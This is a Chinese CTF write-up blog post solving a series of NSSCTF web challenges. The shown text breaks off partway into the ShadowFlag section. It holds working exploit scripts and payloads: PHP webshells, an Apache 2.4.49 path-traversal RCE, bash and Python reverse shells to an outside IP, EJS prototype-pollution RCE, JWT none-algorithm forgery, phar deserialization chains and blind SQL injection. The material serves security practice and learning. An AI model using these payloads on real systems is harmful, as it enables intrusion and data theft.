【Web】NSSRound#1-20 Basic 刷题记录(全)
时间:2024-04-12 09:35:19 来源:网络cs 作者:言安琪 栏目:卖家故事 阅读:
目录
[NSSRound#1 Basic]basic_check
[NSSRound#1 Basic]sql_by_sql
[NSSCTF 2nd]php签到
[NSSCTF 2nd]MyBox
[NSSCTF 2nd]MyBox(revenge)
[NSSCTF 2nd]MyHurricane
[NSSCTF 2nd]MyJs
[NSSRound#3 Team]This1sMysql
[NSSRound#3 Team]path_by_path
[NSSRound#4 SWPU]1zweb
[NSSRound#4 SWPU]1zweb(revenge)
[NSSRound#4 SWPU]ez_rce
[NSSRound#6 Team]check(V1)
[NSSRound#6 Team]check(Revenge)
[NSSRound#7 Team]ec_RCE
[NSSRound#7 Team]0o0
[NSSRound#7 Team]ShadowFlag
[NSSRound#7 Team]新的博客
[NSSRound#8 Basic]MyPage
[NSSRound#8 Basic]MyDoor
[NSSRound#8 Basic]Upload_gogoggo
[NSSRound#8 Basic]ez_node
[NSSRound#13 Basic]flask?jwt?
[NSSRound#13 Basic]flask?jwt?(hard)
[NSSRound#13 Basic]ez_factors
[NSSRound#13 Basic]MyWeb
[NSSRound#13 Basic]TimeTrcer
[NSSRound#16 Basic]RCE但是没有完全RCE
[NSSRound#16 Basic]了解过PHP特性吗
[NSSRound#17 Basic]真·签到
[NSSRound#17 Basic]真的是文件上传吗?
[NSSRound#18 Basic]门酱想玩什么呢?
[NSSRound#18 Basic]Becomeroot
[NSSRound#18 Basic]easy_rw
[NSSRound#20 Basic]真亦假,假亦真
[NSSRound#20 Basic]CSDN_To_PDF V1.2
[NSSRound#20 Basic]baby-Codeigniter
[NSSRound#20 Basic]组合拳!
[NSSRound#1 Basic]basic_check
HTTP OPTIONS请求方法的主要作用是查询目标资源(URL)支持的通信选项。客户端可以通过发送OPTIONS请求来检查服务器支持哪些HTTP方法(如GET、POST、DELETE等),以及了解服务器的其他能力。OPTIONS请求可以被用于两种场景:
针对特定资源的查询:当OPTIONS请求发送到一个具体的URL上时,它询问的是那个特定资源支持哪些HTTP方法。这可以让客户端知道如何与该资源交互。
整站级别的能力查询:当OPTIONS请求的URL是星号(*)时,比如
OPTIONS * HTTP/1.1
,它表示的是对整个服务器的能力进行查询,而不是针对某个具体的资源。
postman发送请求,回包的响应头显示服务器支持PUT方法
PUT创建一个新路由,写马
PUT请求如果URI不存在,则要求服务器根据请求创建资源,如果存在,服务器就接受请求内容,并修改URI资源的原始版本
访问/yjh.php,命令执行拿flag
[NSSRound#1 Basic]sql_by_sql
二次注入详解
先注册一个恶意用户
拿这个账号登录
修改密码
拿admin/12345成功登录,查询用户是注入点
直接sqlmap跑出来
[NSSCTF 2nd]php签到
关于pathinfo绕过,参考文章:
pathinfo两三事-安全客 - 安全资讯平台
贴出脚本
import requests as reqdef upload(file_path, new_file_name, url): """ 上传一个文件到指定的URL,并在上传前修改文件名。 :param file_path: 要上传的文件的本地路径。 :param new_file_name: 上传后文件的新名称。 :param url: 上传文件的目标URL。 """ # 以二进制方式读取文件内容 with open(file_path, 'rb') as file_content: # 在files字典中使用新的文件名 files = {'file': (new_file_name, file_content)} # 发送POST请求上传文件 response = req.post(url, files=files) print(response.text)if __name__ == "__main__": # 定义上传信息 file_path_to_upload = "D:\CTF\码\yjh3.php" # 修改为你的PHP文件路径 new_file_name = 'yjh.php%2F%2e' # 上传后的文件名 upload_url = "http://node5.anna.nssctf.cn:28182/" # 修改为实际的上传URL # 执行上传 upload(file_path_to_upload, new_file_name, upload_url)
访问/yjh.php,读环境变量拿到flag
[NSSCTF 2nd]MyBox
进来啥也没有,就给了个?url=xxx
经过尝试可以读本地文件
?url=file:///etc/passwd
直接读环境变量偷鸡成功
?url=file:///proc/1/environ
[NSSCTF 2nd]MyBox(revenge)
这次直接不给读环境变量了
?url=file:///app/app.py
读app.py源码
这里后端对mybox://的处理就和gopher://一样,完全可以按照gopher来打
payload生成脚本
import urllib.parsetest ="""GET /xxx.php HTTP/1.1Host: 127.0.0.1:80"""#注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')result = 'mybox://127.0.0.1:80/'+'_'+newprint(urllib.parse.quote(result))
?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
随便访问一个不存在的php文件后,回显报错内容,得知Server版本为Apache/2.4.49
Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客
payload生成脚本:
import urllib.parsepayload ="""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1Host: 127.0.0.1:80Content-Type: application/x-www-form-urlencodedContent-Length: 59echo;bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'"""#注意后面一定要有回车,回车结尾表示http请求结束。tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'mybox://127.0.0.1:80/'+'_'+newresult = urllib.parse.quote(result)print(result)
反弹shell拿到flag
[NSSCTF 2nd]MyHurricane
进来直接给了源码
import tornado.ioloopimport tornado.webimport osBASE_DIR = os.path.dirname(__file__)def waf(data): bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'] for c in bl: if c in data: return False for chunk in data.split(): for c in chunk: if not (31 < ord(c) < 128): return False return Trueclass IndexHandler(tornado.web.RequestHandler): def get(self): with open(__file__, 'r') as f: self.finish(f.read()) def post(self): data = self.get_argument("ssti") if waf(data): with open('1.html', 'w') as f: f.write(f"""<html> <head></head> <body style="font-size: 30px;">{data}</body></html> """) f.flush() self.render('1.html') else: self.finish('no no no')if __name__ == "__main__": app = tornado.web.Application([ (r"/", IndexHandler), ], compiled_template_cache=False) app.listen(827) tornado.ioloop.IOLoop.current().start()
就是要绕过waf实现tornado模板注入
ban掉了这些
'\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'
tornado模板注入-CSDN博客
可以直接读环境变量偷鸡
payload:
ssti={% include /proc/self/environ %}
也可以反弹shell
payload:
__import__('os').system('bash -c \'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\'')"""&ssti={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&"""
[NSSCTF 2nd]MyJs
先随便注册一个账号,拿到token
拿到的token是jwt
登录后跳转一个update的界面
随便改一下,回显不能修改uid
黑盒只能测到这了,扫一下目录
扫出来/source,访问,拿到源码
const express = require('express');const bodyParser = require('body-parser');const lodash = require('lodash');const session = require('express-session');const randomize = require('randomatic');const jwt = require('jsonwebtoken')const crypto = require('crypto');const fs = require('fs');global.secrets = [];express().use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()).use('/static', express.static('static')).set('views', './views').set('view engine', 'ejs').use(session({ name: 'session', secret: randomize('a', 16), resave: true, saveUninitialized: true})).get('/', (req, res) => { if (req.session.data) { res.redirect('/home'); } else { res.redirect('/login') }}).get('/source', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync(__filename));}).all('/login', (req, res) => { if (req.method == "GET") { res.render('login.ejs', {msg: null}); } if (req.method == "POST") { const {username, password, token} = req.body; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { return res.render('login.ejs', {msg: 'login error.'}); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: "HS256"}); if (username === user.username && password === user.password) { req.session.data = { username: username, count: 0, } res.redirect('/home'); } else { return res.render('login.ejs', {msg: 'login error.'}); } }}).all('/register', (req, res) => { if (req.method == "GET") { res.render('register.ejs', {msg: null}); } if (req.method == "POST") { const {username, password} = req.body; if (!username || username == 'nss') { return res.render('register.ejs', {msg: "Username existed."}); } const secret = crypto.randomBytes(16).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret); const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"}); res.render('register.ejs', {msg: "Token: " + token}); }}).all('/home', (req, res) => { if (!req.session.data) { return res.redirect('/login'); } res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: null })}).post('/update', (req, res) => { if(!req.session.data) { return res.redirect('/login'); } if (req.session.data.username !== 'nss') { return res.render('home.ejs', { username: req.session.data.username||'NSS', count: req.session.data.count||'0', msg: 'U cant change uid' }) } let data = req.session.data || {}; req.session.data = lodash.merge(data, req.body); console.log(req.session.data.outputFunctionName); res.redirect('/home');}).listen(827, '0.0.0.0')
意思就是说以nss账号登录就可在/update路由下打一个ejs原型链污染
如何以nss账号登录,关键在/login路由
if (req.method == "POST") { ... }
: 这是一个条件语句,用于检查请求的方法是否为 POST。只有当请求的方法为 POST 时才会执行后续的逻辑。
const {username, password, token} = req.body;
: 这一行从请求的 body 中提取出 username、password 和 token。这些数据通常是用户在登录表单中输入的信息。
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
: 这一行解析了 token,从中提取出 secretid。token 通常是用户在登录时生成的身份验证令牌。
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { ... }
: 这个条件语句检查 sid 是否有效。如果 sid 未定义、为空或者不在有效范围内,则返回一个登录错误消息。
const secret = global.secrets[sid];
: 这一行从全局的 secrets 数组中根据 sid 获取对应的密钥。
const user = jwt.verify(token, secret, {algorithm: "HS256"});
: 这一行使用 jwt.verify 方法验证 token 的有效性,并解析出其中的用户信息。需要注意的是,这里的 secret 是用来验证 token 签名的密钥。
if (username === user.username && password === user.password) { ... }
: 这个条件语句检查用户输入的用户名和密码是否与 token 中解析出的用户信息匹配。如果匹配成功,则将用户信息存储在会话中,并重定向到 '/home' 页面。
参考文章
从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏
关于身份的验证是通过解析token进行的,这里用空算法伪造jwt即可(algorithm的误用)
exp
import jwtimport base64# 构造JWT的payload部分payload = { "username": "nss", "password": "123456", "secretid": [], # 用具体的值替代列表 "iat": 1712626361}# 生成JWT,对于algorithm='none',传递None作为密钥token = jwt.encode(payload, None, algorithm="none")# 为了展示,将JWT分割成三个部分,并单独打印payload部分的base64解码内容header, payload, signature = token.split('.')decoded_payload = base64.urlsafe_b64decode(payload + "==").decode()print("Generated JWT:", token)print("Decoded Payload:", decoded_payload)
以nss身份登录成功
在/update路由打ejs原型链污染
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');var __tmp2"}}}
再访问/login,render触发rce,成功反弹shell,读环境变量拿flag
[NSSRound#3 Team]This1sMysql
浅析MySQL恶意服务器读取文件原理
MySQL服务端恶意读取客户端文件漏洞 |
payload:
config[8]=true&mysql[host]=124.222.136.33&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=3306
这里config[8]就是MYSQLI_OPT_LOCAL_INFILE
GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients
改一下filelist
读到function.php和class.php的源码
交给gpt去美化一下
class.php
<?phpclass Upload { public $file; public $filesize; public $date; public $tmp; function __construct() { $this->file = $_FILES; } function __toString() { return $this->file["file"]["name"]; } function __get($value) { $this->filesize->$value = $this->date; echo $this->tmp; }}class Show { public $source; public $str; public $filter; public function __construct($file) { $this->source = $file; $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/'; } public function __toString() { $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; } public function __get($value) { $this->show(); return $this->$value; } public function __set($key, $value) { $this->$key = $value; } public function show() { $filename = $this->schema . $this->source; include($filename); } public function __wakeup() { if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') { $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/'; } if ($this->source !== 'default.jpg') { $this->source = 'default.jpg'; } }}class Test { public $test1; public $test2; function __toString() { $str = $this->test2->test; return 'test'; } function __get($value) { return $this->$value; } function __destruct() { echo $this->test1; }}?>
function.php
<?php$mysqlpath = isset($_GET['mysqlpath']) ? $_GET['mysqlpath'] : 'mysql.txt';if (!file_exists($mysqlpath)) { die("NoNONo!");} else { $arr = json_decode(file_get_contents($mysqlpath)); if ($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)) { echo "connect success"; } else { echo "connect fail"; }}?>
看到mysql.txt
访问/mysql.txt,拿到靶机数据库的相关信息
查询MySQL服务器的全局变量secure_file_priv
的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILE
和SELECT ... INTO OUTFILE
语句的目录。
import requestsimport datetimeurl="http://node4.anna.nssctf.cn:28297/"path_dir=''for i in range(1,50): low = 41 high = 130 mid = (high + low) // 2 while (low < high): payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid) data={ "config[3]":payload } time1 = datetime.datetime.now() r = requests.post(url, data) time2 = datetime.datetime.now() time = (time2 - time1).seconds if time > 1: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 41 or mid == 130): break path_dir += chr(mid) print('目录为:{}'.format(path_dir))
写马,这里config[3]是MYSQLI_INIT_COMMAND
payload:
config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/yjh.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
然后打反序列化
Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()
如果反序列化成功则会include "/nssctf/yjh.php"
<?phpclass Upload { public $file; public $filesize; public $date; public $tmp;}class Show{ public $source; public $str; public $filter;}class Test{ public $test1; public $test2;}$a=new Test();$b=new Show();$a->test1=$b;$c0=new Upload();$c1=new Upload();$b->str[0]=$c0;$b->str[1]=$c1;$d=new Show();$c0->filesize=$d;$c1->filesize=$d;$c0->date="yjh.php";$c1->date="/nssctf/";$e=new Test();$c0->tmp=$e;$c1->tmp=$e;$e->test2=$d;$phar = new Phar("evil.phar");$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");$phar->setMetadata($a);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>
生成的phar包用CyberChef处理一下
这次用select xxx into dumpfile来写入
Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家
payload:
config[3]=select 0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0ab401000001000000110000000100000000007e0100004f3a343a2254657374223a323a7b733a353a227465737431223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b613a323a7b693a303b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b4f3a343a2253686f77223a333a7b733a363a22736f75726365223b4e3b733a333a22737472223b4e3b733a363a2266696c746572223b4e3b7d733a343a2264617465223b733a373a22796a682e706870223b733a333a22746d70223b4f3a343a2254657374223a323a7b733a353a227465737431223b4e3b733a353a227465737432223b723a373b7d7d693a313b4f3a363a2255706c6f6164223a343a7b733a343a2266696c65223b4e3b733a383a2266696c6573697a65223b723a373b733a343a2264617465223b733a383a222f6e73736374662f223b733a333a22746d70223b723a31323b7d7d733a363a2266696c746572223b4e3b7d733a353a227465737432223b4e3b7d08000000746573742e7478740400000077e01466040000000c7e7fd8b60100000000000074657374526909bc912a64220a120c3460990db2db8167a60200000047424d42 into dumpfile '/nssctf/phar.png';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
然后function.php中的file_exists触发phar反序列化
?mysqlpath=phar:///nssctf/phar.png 1=system('env');
读环境变量拿到flag
[NSSRound#3 Team]path_by_path
进来直接拿到源码
const express = require('express');const request = require('request');const bodyParser = require('body-parser');const { readFileSync } = require('fs');const { env } = require('process');const app = express();const urlencodedParser = bodyParser.urlencoded({extended: false});let whoami = { info: { name: env.NAME, bio: env.BIO, }, other: { intro: env.INTRO }}app.get('/', (req, res) => { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(readFileSync(__filename));})app.post('/exec', urlencodedParser, (req, res) => { const path = req.body.path; const url = new URL(path, 'http://127.0.0.1:5000'); request.get(url.toString(),{},(e, r, b) => { let resp = JSON.parse(b); whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f]; }); res.send('');})app.get('/whoami', (req, res) => { let public = req.query.public; public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info'); let field = req.query.field; field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name'); res.send(`The ${field} is ${whoami[public][field]}`);})process.on('uncaughtException',function(err){})app.listen(8000, '0.0.0.0', () => {})
根路由(GET
/
):当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)
实现,其中__filename
是当前运行脚本的路径。执行路由(POST
/exec
):这个路由接收一个POST请求,包含一个path
参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami
对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。查询路由(GET
/whoami
):这个路由根据查询参数public
(值为info
或other
)和field
(值为name
、bio
或intro
)返回相应的信息。如果没有指定,它会使用whoami
对象中的默认值。
/exec路由写whoami对象属性
/whoami路由可以读 whoami对象属性
先起个flask服务器
from flask import Flask, request, jsonifyapp = Flask(__name__)# 用于执行的路由,模拟客户端想要访问的URL@app.route('/', methods=['GET'])def somepath(): # 返回一个简单的JSON,模拟客户端代码中期待的响应格式 return jsonify({"p": "info", "f": "FLAG"})if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=True)
这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性
再修改flask源码返回的json
from flask import Flask, request, jsonifyapp = Flask(__name__)# 用于执行的路由,模拟客户端想要访问的URL@app.route('/', methods=['GET'])def somepath(): # 返回一个简单的JSON,模拟客户端代码中期待的响应格式 return jsonify({"p": "__proto__", "f": "field", "field": "FLAG"})if __name__ == '__main__': app.run(host='0.0.0.0', port=1337, debug=True)
这里的目的是让whoami.field=FLAG
最终payload:
/whoami?public=info&field=Z3r4y
The ${field} is ${whoami[public][field]}
补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}
[NSSRound#4 SWPU]1zweb
可以直接读靶机本地文件
偷鸡环境变量权限不够,直接读/flag
file=../../../../../../flag&submit=
[NSSRound#4 SWPU]1zweb(revenge)
不能直接读/flag了
先读index.php
file=/var/www/html/index.php&submit=
拿到源码
给了一个恶意类,然后file_get_contents可以触发phar反序列化
<?phpclass LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; }}$file=$_POST['file'];if(isset($_POST['file'])){ if (preg_match("/flag/", $file)) { die("nonono"); } echo file_get_contents($file);}
同理读/var/www/html/upload.php
<?phpif ($_FILES["file"]["error"] > 0){ echo "上传异常";}else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; }}?>
绕过wakeup不解释,因为修改了文件内容所以要重写下签名,绕过_HALT_COMPILE需要进行gzip压缩
脚本
<?phpclass LoveNss{ public $ljt = "Misc"; public $dky = "Re"; public $cmd = "system('cat /f*');";}$a = new LoveNss();$a->ljt = "Misc";$a->dky = "Re";$phar = new Phar('exp.phar');$phar->startBuffering();$phar->setStub('GIF'.'<?php __HALT_COMPILER();?>');$phar->setMetadata($a);$phar->addFromString('1.txt','1');$phar->stopBuffering();
import gzipimport hashlibwith open("exp.phar",'rb') as f: f = f.read()s = f[:-28]s = s.replace(b'3:{', b'4:{')h = f[-8:]newf = s + hashlib.sha1(s).digest() + hprint(newf)newf = gzip.compress(newf)with open('exp.png','wb') as f2: f2.write(newf)
先上传exp.png
再触发phar反序列化
phar:// 跟zip: //协议都可以访问zip格式压缩包内容
payload:
file=phar:///var/www/html/upload/exp.png&submit=
[NSSRound#4 SWPU]ez_rce
信息搜集啥也没有,抓包看响应头,Apache/2.4.49
历史漏洞:Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用-CSDN博客
echo;ls /
echo;grep -r "NSS" /flag_is_here
[NSSRound#6 Team]check(V1)
进来给到源码
# -*- coding: utf-8 -*-from flask import Flask,requestimport tarfileimport osapp = Flask(__name__)app.config['UPLOAD_FOLDER'] = './uploads'app.config['MAX_CONTENT_LENGTH'] = 100 * 1024ALLOWED_EXTENSIONS = set(['tar'])def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS@app.route('/')def index(): with open(__file__, 'r') as f: return f.read()@app.route('/upload', methods=['POST'])def upload_file(): if 'file' not in request.files: return '?' file = request.files['file'] if file.filename == '': return '?' print(file.filename) if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename: file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a tarfile' try: tar = tarfile.open(file_save_path, "r") tar.extractall(app.config['UPLOAD_FOLDER']) except Exception as e: return str(e) os.remove(file_save_path) return 'success'@app.route('/download', methods=['POST'])def download_file(): filename = request.form.get('filename') if filename is None or filename == '': return '?' filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) if '..' in filename or '/' in filename: return '?' if not os.path.exists(filepath) or not os.path.isfile(filepath): return '?' with open(filepath, 'r') as f: return f.read() @app.route('/clean', methods=['POST'])def clean_file(): os.system('/tmp/clean.sh') return 'success'if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=80)
上传路由
处理文件上传请求。首先检查是否有文件被上传,文件名是否为空,以及文件类型是否被允许。同时检查文件名中不包含/upload
..
和/
来防止目录遍历攻击。如果检查通过,文件将被保存到UPLOAD_FOLDER
指定的目录下。使用tarfile
模块尝试打开保存的tar文件并解压到上传目录。如果操作失败,返回错误信息。最后,上传的tar文件被删除,只保留解压出来的文件或目录。
代码中尝试防范了目录遍历攻击通过检查文件名中是否包含..
和/
。限制了上传文件类型为tar文件,降低了恶意文件上传的风险。
既然涉及到tar了,那不直接软连接
import requests# 指定要上传的.tar文件的路径file_path = r'C:\Users\21135\Desktop\flag.tar'# 指定目标URLurl = 'http://node5.anna.nssctf.cn:28566/upload'# 使用'rb'模式打开文件,意味着以二进制格式只读打开文件with open(file_path, 'rb') as f: # 'file'是文件的字段名,根据服务器端的要求可能会有所不同 files = {'file': (file_path, f, 'application/x-tar')} # 发送POST请求上传文件 response = requests.post(url, files=files) # 打印响应内容 print(response.text)
上传成功
访问/download读/flag内容拿到flag
[NSSRound#6 Team]check(Revenge)
这题在/download路由下增加了一个软连接的过滤
@app.route('/download', methods=['POST'])def download_file(): filename = request.form.get('filename') if filename is None or filename == '': return '?' filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename) if '..' in filename or '/' in filename: return '?' if not os.path.exists(filepath) or not os.path.isfile(filepath): return '?' if os.path.islink(filepath): return '?' if oct(os.stat(filepath).st_mode)[-3:] != '444': return '?' with open(filepath, 'r') as f: return f.read()
注意到/console可以访问,即debug开启,允许热加载,所以可覆盖靶机文件,就算没覆盖成,也可以算pin来rce
主程序是/app/main.py
exp:
main.py
from flask import Flask,requestimport osapp = Flask(__name__)@app.route('/Z3r4y', methods=['GET'])def download_file(): filename = request.args.get('exp') return os.popen(filename).read()if __name__ == "__main__": app.run(host='0.0.0.0', debug=True, port=80)
文件上传脚本
import requests as reqimport tarfileurl = 'http://node5.anna.nssctf.cn:28661/'filename = r"main.py"def changeFileName(filename): filename.name='/app/main.py' return filenamewith tarfile.open("exp.tar", "w") as tar: tar.add(filename,filter=changeFileName)def upload(rawurl): url = rawurl + "upload" response = req.post(url = url, files = {"file":open("exp.tar",'rb')}) print(response.text)if __name__ == "__main__": upload(url)
上传成功
payload:
/Z3r4y?exp=ls+/
payload:
/Z3r4y?exp=cat+/you_could_never_guess_the_flag_path
[NSSRound#7 Team]ec_RCE
直接多条命令执行
payload;
action=;tac&data=/flag
[NSSRound#7 Team]0o0
抓包看响应头
/?S0uRc3=1
拿到源码
参考链接:
PHP filter chains: file read from error-based oracle
php_filter_chain_generator
用上面的工具生成payload,编码规则是6位,所以要用'Xy1on '来生成,最后php://tmp改成level2即可
访问/Ns_SCtF.php拿到源码
<?phperror_reporting(0);highlight_file(__FILE__);$NSSCTF = $_GET['NSSCTF'] ?: '';$NsSCTF = $_GET['NsSCTF'] ?: '';$NsScTF = $_GET['NsScTF'] ?: '';$NsScTf = $_GET['NsScTf'] ?: '';$NSScTf = $_GET['NSScTf'] ?: '';$nSScTF = $_GET['nSScTF'] ?: '';$nSscTF = $_GET['nSscTF'] ?: '';if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) { if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) { if (file_get_contents($NsScTf) === "Welcome to Round7!!!") { if (isset($_GET['nss_ctfer.vip'])) { if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) { $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7"; if ($nss && $nSscTF === "NSSRound7") { if (isset($_POST['submit'])) { $file_name = urldecode($_FILES['file']['name']); $path = $_FILES['file']['tmp_name']; if(strpos($file_name, ".png") == false){ die("NoO0P00oO0! Png! pNg! pnG!"); } $content = file_get_contents($path); $real_content = '<?php die("Round7 do you like");'. $content . '?>'; $real_name = fopen($file_name, "w"); fwrite($real_name, $real_content); fclose($real_name); echo "OoO0o0hhh."; } else { die("NoO0oO0oO0!"); } } else { die("N0o0o0oO0o!"); } } else { die("NoOo00O0o0!"); } } else { die("Noo0oO0oOo!"); } } else { die("NO0o0oO0oO!"); } } else { die("No0o0o000O!"); }} else { die("NO0o0o0o0o!");}
到文件上传前的一堆php特性还是挺好绕的:
/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7
文件上传部分就是个死亡die绕过
本来内容是<?php die("Round7 do you like");
,进行base64编码后,由于base64的字母表不包含部分字符,会只剩下phpdieRound7doyoulike
,长度刚好为21,而且base64编码是以4个字节为一组做处理的(四位一解码),接上3个a,就凑成了4的倍数。
webshell的内容为aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
,即<?php eval($_POST[1]);?>
exp:
import requests as reqdef upload(file_path, new_file_name, url): """ 上传一个文件到指定的URL,并在上传前修改文件名。 :param file_path: 要上传的文件的本地路径。 :param new_file_name: 上传后文件的新名称。 :param url: 上传文件的目标URL。 """ # 以二进制方式读取文件内容 with open(file_path, 'rb') as file_content: # 在files字典中使用新的文件名 files = {'file': (new_file_name, file_content)} data={'submit': "Z3r4y"} # 发送POST请求上传文件 response = req.post(url, files=files ,data=data) print(response.text)if __name__ == "__main__": # 定义上传信息 file_path_to_upload = r"C:\Users\21135\Desktop\yjh.php" # 修改为你的PHP文件路径 new_file_name = '%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%79%6a%68%2e%70%6e%67%2e%70%68%70' # 上传后的文件名 upload_url = "http://node5.anna.nssctf.cn:28270/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7" # 修改为实际的上传URL # 执行上传 upload(file_path_to_upload, new_file_name, upload_url)
成功写马连蚁剑拿到flag
[NSSRound#7 Team]ShadowFlag
进来直接拿到源码
from flask import Flask, requestimport osfrom time import sleepapp = Flask(__name__)flag1 = open("/tmp/flag1.txt", "r")with open("/tmp/flag2.txt", "r") as f: flag2 = f.read()tag = False@app.route("/")def index(): with open("app.py", "r+") as f: return f.read()@app.route("/shell", methods=['POST'])def shell(): global tag if tag != True: global flag1 del flag1 tag = True os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt") action = request.form["act"] if action.find(" ") != -1: return "Nonono" else: os.system(action) return "Wow"@app.errorhandler(404)def error_date(error): sleep(5) return "扫扫扫,扫啥东方明珠呢[怒]"if __name__ == "__main__": app.run()
flag1与flag2区别在于,open打开后并没有关闭,with open打开后关闭了,所以flag1会在/proc进程中继续保留,flag2.txt的内容赋值给了flag2,所以flag2可以在控制台读局部变量
payload:
空格用${IFS}绕过
环境没有wget没有nc,于是用python来打
act=python3${IFS}-c${IFS}'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("124.222.136.33",1337));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
成功反弹shell
经过尝试不能直接读环境变量
